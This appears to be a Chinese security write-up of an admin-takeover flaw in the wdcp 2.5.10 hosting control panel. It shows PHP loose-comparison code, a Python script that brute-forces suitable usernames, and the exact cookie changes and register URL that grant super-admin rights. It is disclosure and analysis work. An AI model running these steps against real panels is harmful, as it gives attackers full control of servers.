文章目錄

之前wdcp出过一个伪造用户登录的漏洞,做了一些分析。看了一些修复后的代码,发现逻辑还是不够严谨。当开启了注册功能的时候,可以直接注册管理员用户,从而获得控制权。目前官方已经发布补丁

#漏洞影响

影响开启了注册了wdcp系统。主要开启了注册。即可通过特定手段注册一个具有超级管理员权限的用户。或得wdcp系统的完全的管理权限。

#代码分析

分析版本为最新版2.5.10

login.php文件

if (isset($_SESSION['is_l'])) {
    $wdcp_user=$_COOKIE['wdcp_user'];
    $wdcp_uid=$_COOKIE['wdcp_uid'];
    $wdcp_gid=$_COOKIE['wdcp_gid'];
    $wdcp_ggid=$_COOKIE['wdcp_ggid'];
    $wdcp_us=$_COOKIE['wdcp_us'];
    //$wdcp_lt=$_COOKIE['wdcp_lt'];
    //session_start();
    //print_r($_SESSION);
    $wdcp_lt=$_SESSION['is_l'];
    /*
    if (empty($_COOKIE["wdcp_gid"])) { //20130513
        $wdcp_user=$_SESSION['wdcp_user'];
        $wdcp_uid=$_SESSION['wdcp_uid'];
        $wdcp_gid=$_SESSION['wdcp_gid'];
        $wdcp_ggid=$_SESSION['wdcp_ggid'];
        $wdcp_us=$_SESSION['wdcp_us'];
    }
    */

    //echo "wdcp_lt:".$wdcp_lt;echo "<br>";
    user_l_check($wdcp_lt);

判断了$_session[‘is_l’]是否存在。这里其实是修复了之前的cookie欺骗漏洞。跟踪一下$_session[‘is_l’]来源:

$wdcp_lt=user_l_check(0);
//setcookie('wdcp_lt',$wdcp_lt,time() + $cookie_time,'/');
//if ($r['gid']==1) {
    //session_start();
    unset($_SESSION['is_l']);
    $_SESSION['is_l']=$wdcp_lt;

$_session[‘is_l’]session中的is_l字段是来自于user_l_check(0)的返回值。跟进该函数:

function user_l_check($ul_str=0) {
    global $wdcp_user,$wdcp_uid,$wdcp_gid,$wdcp_us;
    $str=substr(md5($wdcp_user.$wdcp_uid),8,6);
    //echo $str."<br>";
    if ($ul_str==0) {
        //echo $str;
        //echo $str."<br>";
        //$msg=$str."|".$wdcp_user."|".$wdcp_uid."|".$wdcp_gid."|".$wdcp_us;
        //file_put_contents(WD_ROOT."/data/1.txt",$msg);
        return md5($str.$wdcp_user.$wdcp_uid.$wdcp_gid.$wdcp_us);
    }else {
        //echo ;
        //echo $str."<br>";
        //echo $str."|".$wdcp_user."|".$wdcp_uid."|".$wdcp_gid."|".$wdcp_us."   2<br>";
        //$msg=$str."|".$wdcp_user."|".$wdcp_uid."|".$wdcp_gid."|".$wdcp_us;
        //file_put_contents(WD_ROOT."/data/2.txt",$msg);
        $s1=md5($str.$wdcp_user.$wdcp_uid.$wdcp_gid.$wdcp_us);
        //echo "1:".$ul_str."|".$s1."<br>";//exit;
        //file_put_contents(WD_ROOT."/data/3.txt",$ul_str);
        //file_put_contents(WD_ROOT."/data/4.txt",$s1);
        if (strcmp($ul_str,$s1)!=0) {
            del_cookie();
            //echo "login err";
            //str_go_url("登录超时!",1);
            //exit;
            echo '<script language="javascript">alert("登录超时!");parent.location="/"</script>';exit;
            //go_back("登录信息错误!");
        }
    }
    return true;
}

如果传入参数为0,则计算出一个md5值。如果传入参数不为零,则把cookie中的值再进行一次相同的md5计算,跟session中的比较,避免cookie欺骗。

这里存在的问题就是if ($ul_str==0),由于php弱类型的特性。 ‘0a’ == 0 结果是True。所以,如果注册一个用户,该用户的$_session[‘is_l’]这个md5值是类似于’0aslkdjflskjdflsldsdfsdf’ 这种形式,就可以绕过cookie检查,直接return。进入到后面的程序逻辑中。

根据$_session[‘is_l’]的计算方法。写了一个python脚本:

import hashlib



for i in range(1000,1099):
    uid = 5
    md5_data = hashlib.md5(str(i)+str(uid)).hexdigest()
    # print md5
    # print md5[8:9]
    md5_data2 = hashlib.md5(md5_data[8:14] + str(i) + str(uid) + '10' +'2').hexdigest()
    if  md5_data2[:1] == '0' and md5_data2[1:2].isdigit() == False: 
        print md5_data2
        print i

这里uid=5,uid是递增的,可以预测。其他的参数都是固定的比如gid是10。计算结果:

➜  pentest  python wdcp.py
0c8affdaefae4f2420e9782c9307f4c9
1003
0cc72de60b257d2d7e7bdcacd988dfb7
1066

还是非常容易的。这里省略了很多。以1066为用户名注册用户。登录之后,修改cookie

PHPSESSID=7f998efdf6fd84f5f7452e2ed470ae0c; wdcp_user=9995; wdcp_uid=5; wdcp_gid=10; wdcp_ggid=10; wdcp_us=2

修改为:

PHPSESSID=7f998efdf6fd84f5f7452e2ed470ae0c; wdcp_user=admin; wdcp_uid=1; wdcp_gid=1; wdcp_ggid=1; wdcp_us=2

即可获得wdcp系统的超级管理员权限。

#变量覆盖导致注册用户

由于wdcp默认关闭注册,所以想尝试一下看看有没有漏洞可以开启注册。结果真的找到一个register_global on条件下的变量覆盖,导致可以开启注册。但是由于wdcp自身的php环境和网站的php环境是分开的。而且默认情况下没有开启全局变量。所以导致十分鸡肋。纯碎技术研究了。

register通过判断变量is_reg是否为1来开启注册功能。但是这个变量没有进行恰当的初始化。

if ($is_reg==0) go_back("未开放注册");

默认情况下没有进行初始化,只有点击开启注册并保存之后才会进行初始化。所以,如果register_global on的情况下,可以覆盖变量进行注册。

http://192.168.199.138/wdcp/register.php?is_reg=1
文章目錄